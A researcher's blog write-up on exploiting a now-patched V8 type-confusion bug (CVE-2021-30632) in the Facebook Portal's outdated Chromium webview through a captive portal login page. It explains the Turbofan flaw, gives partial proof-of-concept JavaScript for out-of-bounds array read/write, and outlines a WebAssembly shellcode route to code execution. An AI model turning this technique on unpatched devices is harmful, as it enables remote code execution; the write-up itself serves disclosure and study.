Pwning the Facebook Portal

4 minute read


Back in November, 2021, my friend and I were trying to make an attempt to participate Pwn2Own. Unfortunately, due to some rules of exploitation. Our submission was not accepted. Today, as the vulnerability has now been fixed by the vendor, we decide to publish this blog post regarding a vulnerability that was found on Facebook Portal.

Vulnerability Summary

The attack was conducted relying on the usage of vulnerable browser version (Chrome/92.0.4515.131). This Chromium-based webview is related to the Out-of-bounds write in V8 (CVE-2021-30632) leading a Remote Code Execution on Facebook Portal @ latest version @1.29.1

Generally, whenever a device try to connect to a Wireless router that has Captive Portal Auth Mechanism, the wireless router, as part of Auth Mechanism, will send the request to a login form. Users would have to have a valid set of credential to be granted access to the Internet. This HTML login form is parsed and run by an obsolete chromium-based webview (Chrome/92.0.4515.131).

By exploiting this behavior via the above attack surface, we leveraged a 1-Day exploitation on Out-of-bounds in V8 (CVE-2021-30632) to get code execution on sandboxed webview process.

Vulnerability Detail

Optimized code that stores global properties does not get de-optimized when the property map gets changed, leading to type confusion vulnerability. Prior to the patch, when Turbofan compiles code for storing global properties that has the kConstantType attribute (i.e. the storage type has not changed), it inserts DependOnGlobalProperty (1. below) and CheckMaps (2. below) to ensure that the property store does not change the map of the property cell:

     case PropertyCellType::kConstantType: {
        dependencies()->DependOnGlobalProperty(property_cell);     //<---- 1. ... if (property_cell_value.IsHeapObject()) { MapRef property_cell_value_map = property_cell_value.AsHeapObject().map(); if (property_cell_value_map.is_stable()) { dependencies()->DependOnStableMap(property_cell_value_map);
          } else {
            ... //<----- fall through } // Check that the {value} is a HeapObject. value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
                                            value, effect, control);
          // Check {value} map against the {property_cell_value} map.
          effect = graph()->NewNode(                          //<----- 2. simplified()->CheckMaps(
              value, effect, control);

However, when the map of the global property (property_cell_value_map) is changed in place after the code is compiled, the optimized code generated by the above only de-optimizes when property_cell_value_map is stable. So for example, if a function store is optimized when the map of the global property x is unstable:

function store(y) {
x = y;

Then an in-place change to the map of x will not de-optimize the compiled store:

x.newProp = 1; //<------ x now has new map, but the optimized store still assumed it had an old map

This causes the map for x in the optimized store function to be inaccurate. Another function load can now be compiled to access newProp from x:

function load() {
return x.newProp;

The optimized load will assume x to have a new map with newProp as a property. If the optimized store is now used to store an object with the old map back to x, the next time load is called, a type confusion will occur because load still assumes x has the new map.

Vulnerability Exploitation

Using this bug, we can create a type confusion between 2 kinds of Javascript array. Because Javascript arrays have differently sized backing stores for different element kinds, a confusion between an SMI array (element size 4) and a double array (element size 8) will lead to out-of-bounds read and write in a Javascript array.

Below is the Proof of Concept (PoC) that triggers OOB read and write:

function foo(b) {
x = b;

function oobRead() {
return [x[20],x[24]];

function oobWrite(addr) {
x[24] = addr;

//All have same map, SMI elements, MapA
var arr0 = new Array(10); arr0.fill(1);arr0.a = 1;
var arr1 = new Array(10); arr1.fill(2);arr1.a = 1;
var arr2 = new Array(10); arr2.fill(3);arr2.a = 1;

var x = arr0;

var arr = new Array(30); arr.fill(4); arr.a = 1;
//Optimize foo
for (let i = 0; i < 19321; i++) {
if (i == 19319) arr2[0] = 1.1;

x[0] = 1.1;

//optimize oobRead
for (let i = 0; i < 20000; i++) {

//optimize oobWrite
for (let i = 0; i < 20000; i++) {

//Restore map back to MapA, with SMI elements
var z = oobRead();

When oobRead and oobWrite are optimized, x now has MapB, which is a stable map with HOLEY_DOUBLE_ELEMENTS. This means that, for example, when writing to the 24th element (x[24]) in oobWrite, the offset used by the optimized code to access elements will be calculated with double element width, which is 8, so an offset of 8 * 24 is used. However, when foo(arr) is used to set x back to arr, the element store for arr is of type HOLEY_SMI_ELEMENTS, which has a width of 4, meaning that the backing store is only 4 * 30 bytes long, which is way smaller than 8 * 24. A write to the offset 8 * 24 thus causes an out-of-bounds write in the backing store.

Using this OOB read/write on JS array, we can get an arbitrary read/write primitive. The final step in obtaining code execution is to make use of the fact that wasm (WebAssembly) stores its compiled code in an RWX region and the address of the compiled code is stored as a compressed pointer in the WebAssembly.Instance object. Then, by using the arbitrary absolute address write primitive, we were able write shell code to this region and have it executed when we kicked off the compiled wasm code.


10/29/2021: Exploit submitted to Pwn2Own Competition
11/01/2021: Submission got rejected due to the usage of n-day